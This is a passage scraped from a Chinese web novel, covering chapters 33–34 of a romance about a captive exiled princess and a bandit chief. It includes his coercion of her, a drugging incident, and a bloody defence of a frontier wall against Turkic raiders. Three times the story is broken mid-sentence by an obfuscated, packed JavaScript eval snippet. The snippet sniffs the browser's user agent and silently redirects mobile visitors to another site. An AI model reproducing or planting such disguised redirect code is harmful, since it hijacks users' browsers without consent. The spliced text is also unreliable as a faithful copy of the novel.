那眸中似有千般爱,万般恨,更有几分困兽般的进退两难。 云归玉抬手,抚上他通红的眼眶,拇指摩挲,像是要为他擦去眼泪。 可历铮并未流泪。 云归玉可惜地收回手,道:“我长到如今这年岁,看得最明白的一件事,无非一句话——人只会无缘无故对你坏,却不会无缘无故对你好。” 她的眼神似悲似喜,似柔似嗔,“若有后者,要么心怀不轨,要么所谋甚大。” 年幼时,一个慈眉善目的大爷给了她一个馒头,和蔼地说可以跟他走,他会让她吃饱穿暖,她信了,于是转头就被大爷卖到了苗疆。 去苗疆的路上,她带着几个小孩一起逃跑,将要成功之际却因一人拖后腿,最终被抓回去后,他们没有一丝犹豫地指认她为主谋,指着她说,“都是她逼我们的!” 可最初,分明是他们求她带着他们一起逃的。 后来她遇到云妃,她的亲生母亲,一开始对她温柔备至,关爱有加,到头来也不过用完就扔。 云归玉收起了脸上的所有表情,声音清冷平静,“所以历铮,你若与我说恨,我信,你若对我言‘爱’,我一个笔画都不相信。” 她的眉尾天生上挑,面无表情的时候,很容易给人一种上位者无声审视和冰冷嘲讽的感觉。 可历铮向来不驯,而今做了山匪,更是多了几分的混不吝,皇帝他尚且不俱,更遑论一个被流放的郡主。 历铮掐住了她的下巴,强迫她抬头,而后毫不客气地吻上了她的唇。 云归玉没有反抗,也没有回应。 历铮也不管,只是一味地攻略城池,良久之后,才放开她,道:“没关系,我说的‘再续前缘’,只有身体上的也可以。” 云归玉只是淡淡地瞧了他一眼。 历铮被那眼神中的淡漠狠狠刺痛,强迫自己转过身去,往屋外走去。若是再留在这里,他不确定自己会干出什么事来。 只是大抵还是不甘,他还是回头,问了一句:“你哪怕有一点,喜欢过我吗?” 他甚至不敢用‘爱’这个字眼。 屋内响起一声幽幽的叹息。 “何必要问呢?真话总是不那么好听的。” 历铮眼底一片血红,“论心硬,我不如你。” 他深深地看她一眼,终是拂袖离去。 出了之后门,历铮脸上的隐忍痛苦瞬间消失,只余一片漠然。 云归玉果然没那么容易上当。 林无砚等在外面,见他出来,上来一把就将他拉走,直走到路边一片僻静的树林。 “崇渊,你怎么回事?说跳崖就跳崖!你知道有多危险吗?主帅……大当家要是没了,你让我们这一山寨的人怎么办?” 历铮眼底一片冷漠。 他扯了扯嘴角,“我不这样,她怎么能相信我还对她情根深种?” “不让她相信,她就永远不会动情,也就永远体会不到被所爱之人背叛的痛苦。” 可惜,那女人警惕心太强了。 林无砚瞧他眼神清明,不似为情所困的样子,只有对猎物的势在必得,稍微放了点心,但又觉得他伤敌一千自损八百的法子很没意思。 何况到最后,究竟谁是那个一千,真不好说。 林无砚双眉紧皱,刚要开劝,历铮便拍了拍他的肩,安抚道:“放心吧,我有分寸。” 你最好是。 林无砚腹诽。 历铮走后,屋内重新回归沉寂。 云归玉靠着墙缓了半晌,回过神来,看了看手上那半截锁链。 历铮就这么走了? 她打开了后墙窗户,想看看褚昭有没有再爬上来找她,然后就与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061393|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站成一列的守卫对上了眼睛。 “……” 她说历铮怎么走那么干脆呢。 云归玉又打开前门看了一眼,与门口阿延谴责的目光对上。 不远处,那位黑脸的大嗓门,据说叫冯九的二当家,靠在树上,脚边立着一把大弯刀,幽幽地盯着她。 她叹了口长长的气。 *** 是夜,历铮回到了小屋,云归玉看他直接脱去了外袍,一边宽衣解带一边朝她走来,没忍住,问:“大当家这是要干嘛?” “既是阶下囚,逃跑总是要受到惩罚的。” 最终历铮并没有干什么,他们就只是躺在一张床上,盖棉被纯聊天。 ……那是不可能的。 惩罚便是,历铮又在床上折腾了她一夜。 却不知因为什么原因,他始终没有做到最后。 总不能是还对她心有怜惜吧。 云归玉眼不见心不烦地闭上了眼睛。 “我说了,再续前缘,也可以只是身体上的。既然你云归玉是个没心的,那我便只要得到你的人好了。”历铮翻了个身,把云归玉揽入怀中。 “我爱你,清苑。”他喃喃道:“你为什么就不能爱我呢?” 为这句“清苑”,云归玉心口微动。 曾经,只有历铮一个人会用这个称呼,而重逢以来,他要么就是连名带姓叫她,要么就是讥讽地叫她“郡主殿下”,这是第一次,又叫了她的字。 爱? 他究竟爱她什么呢? 若说从前,是因为她是和他一样的天之骄子,相貌才情财富样样不缺,可现在,她已是一介逃犯。 身边躺着一个人,云归玉以为自己会睡不着,可她没想到的是,自己竟然没过多久便睡着了。 朦胧之间,她恍惚梦到了点从前的事。 那是在她和历铮“互通心意”后的一个月里发生的事。 云家老爷子六十大寿,她虽然讨厌那一家人,可作为名义上的外孙女,仍需出席寿宴,历铮作为她的夫君,自然也跟着去了。 那夜云家那群少爷小姐们,亲的堂的表的,也不知受了什么刺激或受人指使,一个个的都来敬她酒,历铮一个不能喝酒的人,竟是一杯不落的替她喝了下来,连她自己要拦,都没拦住。 于是,他不出意外的,喝醉了。 还吐脏了她的马车。 云归玉默默坐的离他远了点。 这已经是她极力忍耐的结果,若是换了别人,她头都给他打碎。 可那人却偏要缠上来,抱住了她的腰,还用脑袋蹭蹭她,然后抬起头,星眸湿漉漉的,眼尾微红,一副有些委屈的样子,“清苑,我真的好喜欢你,可我感觉,你没那么喜欢我……你也喜欢我吧,好不好?” 云归玉本来要把他脑袋拍下去的手一顿,最后轻轻拍了拍他的背,“我当然也喜欢你。” 说这话当然只是为了达成目的而撒的善意谎言。 只是…… 她素来爱洁,也讨厌麻烦,可是那夜回府后,她竟然耐心地照顾了历铮一整夜,没有假手他人。 或许她曾经对历铮,也不是真的一点喜欢都没有。 33. 下药 云归玉醒来时,对上了一双幽冷如玉的眼睛,熹微晨光照亮他半张脸,另一半隐在幽暗里。 活像地狱里黑白无常来找她配冥婚的。 就算是一只俊美的无常,那也怪吓人的,云归玉的睡意顷刻间没了一半。 “我不锁着你,”历铮眸光晦暗,“我亲自看着你,从白天到晚上,包括睡觉。” 云归玉动了动手腕,才发现自己的手臂被人轻轻托住,她低头一看,昨夜还在她腕子上叮铃作响的半截断掉的锁链此刻已经不见,只留下一圈红痕。 那红痕上油光发亮,已经被上过药。 历铮放下她的手臂,幽幽道:“你甚至都不问我,为什么没死。” “哦,为什么?”云归玉抬头与他对视,给面子地提问。 “我掉进汴河后被水冲到了岸上,雪稚引阿宁找到了我,带着昏迷的我东躲西藏,恰好遇到了神医。”历铮语气平静得如同在讲别人的故事,与酒楼那些慷慨激昂、唾沫横飞的说书人截然相反。 云归玉更是个无趣的听众,只干巴巴道:“那你运气不错。” 历铮长臂一伸,精准从地上捞起了历小小,又从虎毛里拈出那只牡丹蛛,那蜘蛛似是莫名害怕历铮,肉都送到它眼前,它也不咬,只是挣扎着逃跑。 “许是用了什么天材地宝,神医医治过我之后,我便百毒不侵。”他道,“所以,蛊毒对我没有作用。” “郡主,别白费力气了,老实待着吧。” 云归玉无精打采:“哦。” -- 许是历铮的话起了作用,云归玉这些日子格外乖巧。 不仅不逃跑了,甚至十天半月都没出门。不看书,也不下棋,吃了睡,睡了吃,一大半的时间皆在床上度过。 “你不觉得,她这幅摸样很不对劲吗?”林无砚站在屋外,低声对历铮道,“她这种状态,有点像心如死灰。” 历铮拧眉,透过窗缝往里看,只见云归玉在床上翻了个身,又不动了。 明明给她摘了脚铐,她却反而不爱动弹,别说出院门了,就连房间门都不出。 “就那种,死是不一定要死,但活也不是很想活的样子。”林无砚补充道,“也是,毕竟不久前还是风光万千、金尊玉贵的郡主,转眼就变成千夫所指的妖女,现在又变成有仇的前夫的阶下之囚,掌中之物,换我我也得心摧神崩。” “我跟你说啊……”林无砚还待再说,历铮却再忍不了他的喋喋不休,一个转身,推门而入。 床上的人听到动静,睁眼看了下来人是谁,便又躺下不动了。 历铮走到床边,抓住她的手腕,做势要把她扯起来。 “醒了?那就起来,跟我出去。” 云归玉有气无力:“干什么?” 历铮:“带你出去放风。” 盯着山寨大当家催促的目光,云归玉不情不愿地换好衣服,跟着他出了门,推门的那一刻,阳光毫无保留地照射下来,她情不自禁地微眯双眼。 太久没有见到此般热烈的阳光,她的双眼留下了受刺激后的泪水,被人一只骨节修长的手指拭去。 下一刻,那只擦过眼泪的手便牵起了她的,领着她走出了院门,沿下山的方向走去。 云归玉愣愣地跟着他,远方传来整齐的喊声,那是每日将她从美梦中叫醒的,山匪们的操练声。 原来在山腰处,有一方平地,被搭建成了一处校场。 该说历铮不愧曾是少年将军么,就算做了山匪,也要像练兵一样操练。 越是走近,越是感受到校场汉子们的喊声震天,迸发出蓬勃的生命力。 历铮的到来并没有打断他们的练习,直到他做了一个手势,大伙才停下手中动作,齐声声道:“大当家早!” 历铮走到射箭场,问:“有哪些人觉得,自己的箭术已经好到不用再每日练习了?” 没有人立刻回答,似乎都想谦虚一下。 历铮抱臂挑眉:“哦?一个人都没有?看来我是养了一群废物啊。” 被大当家这么一激,顷刻便有人稳不住了。 “我!” “我!” “还有我!” “好!”历铮满意地点点头,用拇指反手一指身侧的人,“今日,你们就和她比试,胜者,可晋位一级。” 云归玉:? 她伸出一根手指,缓缓指向自己,嘴唇微张。 “你说的放风就是,让我当他们的射箭陪练?”云归玉不可思议道。 “委屈什么,”历铮理直气壮,“我这个大当家以前不也当过你的陪练?” 云归玉:“……” 行。 她这里才勉强答应,那群八尺或非八尺的男儿们倒是不乐意了。 “这不好吧?大当家。和一个女人比试,岂不是胜之不武?” “一介弱质女流,能有什么箭法?” “若是一个不留神,伤了当家夫人怎么办?” 这个女人,据说是大当家劫回来的压寨夫人,这要是擦破点皮,别说晋位了,被赶出山寨都不无可能。 他们脸上皆是犹豫之色,摆明了对于云归玉的箭术极其不屑。 云归玉啧了一声,缓步走到一持弓山匪面前,使了个巧劲,顺手摸走了他手中的弓。 那山匪反应过来时,手中已经空空,只耳边留下一句:“借弓一用。” 他心中一跳,狠狠吃了一惊。 他的力气按说要绝对比她大得多,她是怎么把弓从他手里夺走的? 回过神来,只见那肤白胜雪的女子已经瞄准远处箭靶,微咪双眼,用她那纤细的手臂拉弓射箭。 时间流逝,云归玉却迟迟未松手,众人见她手指微颤,难免轻蔑。 窃窃私语声渐起,云归玉倏然松手。 利箭从一人头顶掠过,朝着箭靶而去,“铎”的一声,正中靶心。 方才还窸窸窣窣的人群瞬间沉寂。 她射中的,不是普通的箭靶,而是场中速度最快的移动靶。 更可怕的是,方才被那支箭擦过头顶的那人,冠发削断,头发披散,杂乱长发配上粗狂的脸和大胡子,显得有些滑稽。 正是方才说她“弱质女流”的那位。 所以她方才沉吟等待,迟迟不出箭,不是因为拉不住弓弦,而是在等待靶子移动到和那个人一条线上。 这需要精准的判断力和控弦能力。 短暂的静默后,众人霎时爆发出阵阵喝彩声。 历铮笑了,“现在,若是觉得自己也能做到她那般的箭法,便可以不需要练习了。” 云归玉收弓,勾唇淡笑,下巴微扬。 这模样,才像那个高傲无比、目下无尘的郡主。 跟过来看热闹的林无砚凑近历铮,歪头道:“你这办法不错,她明显高兴了不少。” 历铮皱眉:“谁说我是为了让她高兴?” 林无砚:“……你说不是就不是吧。” 历铮:“济安,若是有人差点杀了你,而你恰好大难不死,你会如何?” 林无砚想都没想:“当然是报仇啊,最好是十倍百倍奉还。” “那若是一个睚眦必报的人呢?” “千倍万倍奉还?” 历铮轻笑:“所以啊,太后背后捅她刀子,差点杀了她,她都还没报仇,怎么会不想活呢?” “你倒是把那事的来龙去脉查得清楚。”林无砚道,“也许她觉得报仇无望,干脆放弃?” 历铮摇摇头:“她不是那样的人。” 林无砚并不完全赞同:“崇渊,你们已经五年没见了,人都是会变的,你觉得你现在还像以前一样了解她吗?” 历铮沉默一瞬。 “你说得对,我从不了解她。” “可你很在意她想不想活。”林无砚叹了口气,“是像你嘴上说的那样,死了就报复不了,还是单纯在意她的死活呢。” “我还是那句话,玩可以,别把自己玩进去了;把自己玩进去可以,但别影响到我们的大计。” 说着,林无砚的神色缓缓凝重起来,“别忘记你对我说过的话,你要是食言了,我……” 历铮转头看着他,静静等待。 林无砚搭上他的肩膀:“我就去投奔别人,当别人的军师,给你添堵。” “不会食言。”历铮一笑,“你要是去投奔别人,我就亲自把你抓回来。” 林无砚转过头,一看那群手下围着云归玉请她指教箭术,乐了:“再这样下去,不出一个月,他们中有一半的人会从你的崇拜者变成她的爱慕者。” 历铮:“……” 他绷着脸大步上前,把某个被一群臭男人簇拥的女人抓回来。 云归玉由他拉着走:“放风结束了?” 历铮冷笑:“寨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069182|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里不养闲人,阶下囚也不能白吃饭。是,放风结束了,你该干活了。” 云归玉瞪大眼睛:“你听听这是人说的话吗?” -- 离开校场,历铮带着云归玉来到了半山酒楼。 之所以叫半山酒楼,是因为牌匾上就写着“半山酒楼”四个字。 倒是相当浅显易懂的顾名思义。 云归玉略一思忖,问:“这酒楼,你开的?” 历铮点头:“店小二、厨师、算账先生、卖艺姑娘,你选一个干吧。” 云归玉:“……” 她一个都不想选可以吗。 最后,她还是选择了厨师。 不是因为她想去闻油烟,而是不想抛头露面。 再怎么说,她现在也是个逃犯。这里虽然少人烟,但也不是完全没人。 云归玉被迫成了帮厨,可她厨艺委实不佳,厨房原本的主人怕给客人毒死,愣是没让小二端出去一盘菜。 最后只有一碗清汤面因着卖相看起来较为正常而幸免于被倒掉的命运。 云归玉:“我只有煮面的手艺是真的不错,你不试试看么?” 历铮当然知道不错,他还知道,这是曾经为了太后学着做的。 历铮微微叹息:“你吃吧。” “今日是你生辰,”他摸了摸云归玉的头,“这碗面,就当你做给自己吃的,长寿面。” 云归玉愣住。 从她手刃大祭司,并且一把火烧了蛊寨之后,她便再也没有哭过。 亲手杀死历铮时没哭,被太后背叛时没哭,却在此时,忽然有了想要落泪的冲动。 云归玉大口大口地吃掉了。 只是她本是想着给历铮吃的,使调料的时候便没个轻重,咸的要命,吃了几口就难以下咽。 面前的碗忽然被移走,取而代之的是另一碗色香味俱全的面。 云归玉抬头,不解地看向历铮。 历铮:“我做的。” 云归玉惊讶:“你还会下厨?” 历铮:“我也只会这个。” “幼时在临武,每年生辰,阿娘都会给我做长寿面,阿娘走后,阿姐会给我做,只后来我中了毒,活不过三年,她怕引着我伤心,便不再做了。 直到……他想做给她。 长寿长寿,他不在乎自己能不能长寿,却希望她可以。 他在出征途中,向军中火头兵学的,本想着在她生辰之前赶回去做给她吃,可他没能赶回去,倒是先听到了父亲的死讯,再然后,就是汴水决裂,一箭穿心。 云归玉沉默吃面,这是货真价实的长寿面,看着有一碗,实则只有一根。 她吃着吃着不耐烦了,一筷子夹断了碗中的面,挑起一截,递到历铮嘴边。 历铮静默一瞬,随即点评:“诡计多端。” 云归玉:? “你到底吃不吃?” 历铮当然要吃,有人喂到嘴边了,不吃白不吃。 分食完一碗面,二人之间难得不再剑拔弩张或是谁也不绕谁的唇枪舌剑,也不骑马,就踩着夕阳散着步,慢腾腾往山上走。 回到寨中时,天色已暗。 寨中安静异常。 历铮眉头微皱,大步流星跨进寨门,只见寨中兄弟倒了一地,不省人事。 他探了几人的脉,不是死亡,反倒像是中了什么毒。 云归玉在后面跟着进来,见状惊讶扬眉:“这是怎么……” 话未说完,便见历铮探完一人的脉从地上起身,却没站稳,倾身欲倒,连忙上前托了他一把。 历铮站定后利落抬手,“锵”一声拔出匕首,毫不犹豫地在自己左手掌心划了道口子,用疼痛保持清醒。 云归玉疑惑道:“你不是百毒不侵吗?” 说着,她迅速反应过来,除非,他们中的不是毒。 比如,蒙汗药。 她有一种不好的预感。 果然,下一刻,林无砚匆忙跑过来,脸上冒着大汗,身后零零散散跟着十来人,瞧着脸色亦不算好。 “大当家。”他凝重道:“全寨的人都莫名倒下,我把过脉了,是蒙汗药,有人给全寨人都下了蒙汗药!” 话音刚落,二人齐齐看向了云归玉。 云归玉百口莫辩。 历铮深深地看她一眼,眸中似有失望:“你还是只会用这些……手段。” 34. 异族 历铮说完这句话便转过头,不再看她,问林无砚:“关城如何?” 林无砚神色严峻,“关城兄弟与山寨同吃,若是问题出在饮食上,情况怕是也不容乐观,之前还接到了黑色信号弹,冯九已经赶过去了。” “济安留在这里,抓紧配置解药,其余人,随我去关城支援。走!”历铮飞身上马,带着十几个人飞奔离去。 林无砚的视线匆匆掠过云归玉,并没有停留,便忙着去配制解药了。 只有云归玉留在原地。 历铮方才对她说的那句话并没有说完整,中间的那个词他没说出来,但她知道却是知道他想说什么: 你还是只会用这些下作的手段。 是啊,在如今的他眼里,她大抵就是个为达目的,只会用蛊毒逼迫,用感情引诱利用的人。 这满院的昏睡的人,除了是她动的手脚,还会是谁呢? 不怪他们都这么觉得,就算是她自己,也觉得像自己的手笔。 毕竟,寨中因此事受益的,唯有她一人而已。 现在山寨的人要么被历铮带走,要么还睡着,而她手中没有锁链和镣铐,历铮也走了,若是她此刻下山,将会一路畅通,不会受到任何阻拦。 “走?” 不知何时,褚昭像幽灵一样出现,从她身后走了出来,侧首询问。 云归玉对她的出现并无不意外,“是你下的蒙汗药?” 褚昭道:“是。我下的是秘药,比普通蒙汗药的药力强劲数倍,所以只要下在溪水里,便可有整日的药效。” 她观察雇主的脸色,“难道,我做错了?” 云归玉微微摇头,“没有,这是你我的之间的交易,你一直在想尽办法履行,这很好。” 褚昭歪了歪头,疑惑道:“可你看起来并不高兴。” “我只是在想,他说的‘关城’是什么意思。”云归玉淡声道。 褚昭这几天因为老在这座山周边转悠的原因,对这附近的地形更为熟悉,闻言对云归玉解释道:“关城是麒山前的一道城,是防卫突厥的一道防线,不过虽说叫城,但其实也就是一道墙。” “这关名叫什么?” “就是一道民间自建的土关,没有名字。” 大楚舆图云归玉早先看过,只需仔细回想,便能将其在脑海中显现。 她闭上眼睛回想细节,并未发现图上此地有什么关隘。 不是官府登记在册的关隘,朝廷便不会驻军,所以该不会,这所谓的关城,这几年一直是历铮带着手下那群山匪在守吧? 云归玉越想越觉得可能,这太符合历铮的性子了。 褚昭莫名其妙:“你管那做什么,我们还是赶紧下山吧。” 云归玉:“先不急。” 褚昭:? 云归玉:“我要先去一趟关城。” “你的蒙汗药,极有可能也被守卫关城的人服用了,如今关城守备空虚,突厥极有可能趁虚而入。” 褚昭震惊地张了张口,没能说出话来。 她从十五岁做了杀手以来,有人买命,她便去杀,向来是不知缘由,不问因果,不论男女,不拘老少。 唯一一次失手便是云归玉,却从此多了个豪爽多金的雇主,对于雇主的任务,她也从来都是不择手段,不达目的不罢休。 但那是在不知道缘由的情况下,现如今她却是知道,可能因为自己的原因,汉人会被异族闯入,甚至屠戮百姓,她……还是没什么感觉。 从她杀了第一个人和第二个人,也就是自己孩子和孩子的父亲的那天起,她便对人之性命不太在意了。 但雇主要去,她也只能跟着去,于是褚昭道:“好,我和你一起去。” 云归玉摇摇头,“你就守在这山道上。” “若是真有突厥人突破关城,你便在此截杀他们。事了之后,我给你加钱。” 褚昭一下子来劲了,眉飞色舞地一抱拳:“遵命,雇主大人!” *** 关城上,冯九正骂骂咧咧:“他大爷的,这些突厥狗真他娘鸡贼,果然趁这个时候来攻城了!” 历铮站在城墙上,手持弓箭,以一种不可思议的速度拉弓放箭,箭无虚发,每一箭都能精准取下一个突厥兵的性命。 以往突厥见关城久攻不下,便会知难而退,可这次他们却像是势必要毕其功于一役地攻破城门一般,个个都不要命了似的。 或许他们也知道,这一次大约是他们最千载难逢的机会,若是错过,便再没有下一次了。 关城守备大多还在昏睡,此刻坚守城门的只有能勉力抵抗药力的十几人,人手不够,无法集结人马出城迎敌,只能苦守城门。 而突厥人已骑马攻到城下,搭上云梯往城墙上爬。 城墙上的守军们推落巨石,射下火箭,突厥兵们惨叫着摔落在地,却前赴后继,一个接着一个地顶上。 阿延立在城墙上,衣袂飘飞,身移影动,将登上城墙的突厥人斩于剑下,那些想拿下先登之功的突厥人,皆化作他剑下亡魂。 忽然,有一片黑雾如疾风般飘荡过来,直扑城楼,待那黑雾近了,伴随着密集的嗡嗡声,众人一瞧,才发现竟是一群漆黑飞虫,个个大张着口器,涎液滴淌。 冯九张大了嘴巴:“天娘嘞,这什么玩意儿!” 说着便要用火把驱赶。 历铮眯了眯眼,似是想到什么,抬手道:“等等。” 话落,那黑雾果然如他所料,并不是冲着他们来的,而是越过城墙,扑向了下方正在撞门和搭梯子的突厥人。 “啊!” “这什么东西!” “救命啊……啊啊啊啊!” 被虫子扑上的突厥人,纷纷发出惨叫,挣扎着在地上翻滚几圈,便口吐白沫,不动了。 有守军听见身后传来马蹄声,转头望去,只见一水蓝色绸衣的女子坐于马上,疾驰而来,最后停在城门不远的位置,一步步朝这边走来。 他以为是城中哪家的小姐,下意识厉声喝止:“站住!城门重地,闲杂人等不得靠近!” 他身边的兄弟是之前在山寨当值的,见过云归玉,喃喃道:“那好像是……当家夫人?” “?” 方才出生喝止的守兵疑惑之际,历铮从他身边掠过,凝眉静静注视着走上城墙的云归玉,道:“你没走?” 云归玉走上城墙,望向下方,道:“不管你信不信,蒙汗药非我所下,我虽然爱用些下作手段,但还不至于叛国。” 她拿着片树叶子,放在嘴边,幽幽的旋律飘荡,操控着那些蛊虫,“但确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079658|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与我有关,所以这烂摊子,我当然也要来收拾。” “大门要撑不住了!”忽而有人惊慌大喊。 历铮丢弓提枪,下了城楼。 城门破开的那一刻,先锋兵策马冲向城内,一个高大的影子逆光显现,有一人一马,立在不远处。 他还没来得及看清那人的面容,便只见银光一闪,前颈一痛,自己便发不出任何声音了。 枪尖划破了先锋兵的喉咙,血线喷溅,把灰黄土地染得色彩斑驳。 云归玉一边控蛊,一边分心去看城下的战斗。 这是她第一次见到战场上真刀真枪杀敌战斗的历铮。 只见一杆银枪在他手中,如臂使指,枪点如雨,绝无虚发,每一枪都挑落一个敌人。 有的刺中胸口,有的刺中眉心,有的直接刺中口鼻,血液喷溅,他的脸上也染了血。 没过多久,银枪染血,玉面点朱,宛如修罗。 却见那玉面修罗毫无征兆地单手执枪,而后一扬手,将枪往城楼上掷了过来! 枪尖所向,正是她所在的地方。 云归玉眼瞳微缩,只听“噗”的一声,她感到有一点温热的洒在了她的背后。 她转头一看,那杆银枪射中的,却是一睁大眼睛,死不瞑目的突厥兵。 原来在她分神之际,有人爬上城墙,逼近了她的身后。 云归玉一脚踩断了那死尸的脖子,搭弓拉箭,射死了历铮身边想趁他失了武器来偷袭的突厥兵。 当场还了救命之恩,她不再去看历铮,而是专心控蛊。 历铮从容地抢过对面敌人的武器,继续战斗。 一场鏖战,从夕阳将落战至月上柳梢,从血月高悬战至晨光熹微,众人筋疲力尽之时,忽有马蹄声不远不近地响起,一队人马踏光而来。 眼尖的守军看见了当先的林无砚,几乎要喜极而泣:“是二当家,二当家带着援军来了!” 冯九抹了把血汗交织的脸,高兴大笑:“看来咱们的当家大夫救醒兄弟们了!” 守城力量得到加强,又个个以一当百,最终守住了城门,突厥人鸣金收兵。 可对方先前那阵势,几乎是倾巢而来,终是溜进了些许趁乱冲进来的漏网之鱼。 云归玉从城楼上下来,瞧着山道上的那十来个人影,见历铮并没有下令追击,有些诧异地问:“你不管吗?” “我们尽力了。”历铮道,“何况麒山只是英州对突厥的第一道防线,而肖云将军的第二道防线,只会叫他们有去无回。” “肖云将军?” 云归玉将脑中所知道的各州主事者名单过了一遍,并无肖云这一号人物。 历铮:“英州前任节度使肖靖之子,现主管英州。” 云归玉:“你就这么相信那个肖云将军?他很厉害?” 历铮顿了顿,“嗯,是挺厉害。” 云归玉好奇道:“比你如何?” 历铮:“……差不多吧。” 云归玉点点头,若无其事地向自己的马走去。 既然这临时出现的烂摊子处理完了,她也是时候溜之大吉了。 可惜她还没走出两步,便被攥住了手腕。 历铮将她一把扯到近前,似笑非笑:“郡主殿下,既然回来了,就别再想走了。”